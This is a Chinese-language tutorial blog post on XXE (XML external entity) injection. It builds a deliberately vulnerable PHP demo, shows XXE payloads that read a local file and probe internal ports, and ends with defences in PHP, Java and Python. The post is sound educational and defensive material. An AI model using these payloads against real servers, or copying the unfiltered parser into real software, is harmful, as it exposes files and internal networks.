xxe漏洞检测及代码执行过程

2019-05-21

1前言

对于xxe漏洞可能是自己挖洞时间太短,真是没用遇到过啊!都是靶机或者ctf遇到的。写下文章记录下来。

2XML知识

先把XML声明、DTD文档类型定义、文档元素这些基础知识自己看一下,把这些看懂后才能更好的理解,这里不再详细赘述相关知识请移步→XML 教程-菜鸟教程。

3XXE漏洞

xxe全名“xml external entity injection”即“xml外部实体注入”。

有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。

攻击者通过xml语句中写入指定的xml实体语句,从而让服务器执行,从而导致问题。服务端接收和解析了用户端传过来的xml数据,而没有做安全控制,从而导致xml外部实体注入。

4如何构建外部实体注入?

    1.直接通过DTD外部实体声明如下图

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[ <!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>

    2.通过DTD文档引入外部DTD文档

    3.通过DTD外部实体声明引入外部实体声明 (先写一个外部实体声明→引用攻击者服务器上面的外部实体声明)

5支持的协议

6产生的危害

1:读取任意文件

2:执行系统命令

3:执行系统命令

4:攻击内网其他网站    

   环境搭建

这里推荐两个系统 一个是pikaqiu一个是bwapp是两个高度集成的靶场,皮卡丘是国内人开发的。

我在测试两个靶场后,通读代码后自己写了一个简易的demo。ps:某大佬说如果你想搞懂一个漏洞,比较好的方法是:你可以自己先制造出这个漏洞,然后再利用它,最后再修复它

代码如下:

<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>

<?php

date_default_timezone_set("PRC");

if(!empty($_POST['sub'])){ $data= $_POST['data'];

$xml = simplexml_load_string($data);

print($xml); }

?>


simplexml_load_string()函数的作用是把XML字符串载入对象中,函数获取xml内容,并没有进行任何的过滤。

代码写完后测试:

1测试解析xml代码情况

<?xml version = "1.0"?>

<!DOCTYPE note [<!ENTITY hacker "hack test"> ]>

<name>&hacker;</name>

2测试读取任意文件


现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///php//aa.txt">]><login>&xxe;</login>

我测试的版本是php5.4,45。把PHP版本切换到5.6后就不在进行回显了。

3远程端口探测

局域网中某机器开启如下端口


<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note[ <!ENTITY xxe SYSTEM "http://10.100.200.2:8080/slfe/"> ]> <login>&xxe;</login>

经过对比还是能看出开发的端口和没开放端口的区别。

如何防御xxe攻击

方案一:使用开发语言提供的禁用外部实体的方法

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案二:过滤用户提交的XML数据

过滤:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

方案三:使用json格式传输数据

参考文献:XXE漏洞攻防学习(中)      xxe漏洞的学习与利用总结     XXE漏洞学习

最后编辑于 :
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

友情链接更多精彩内容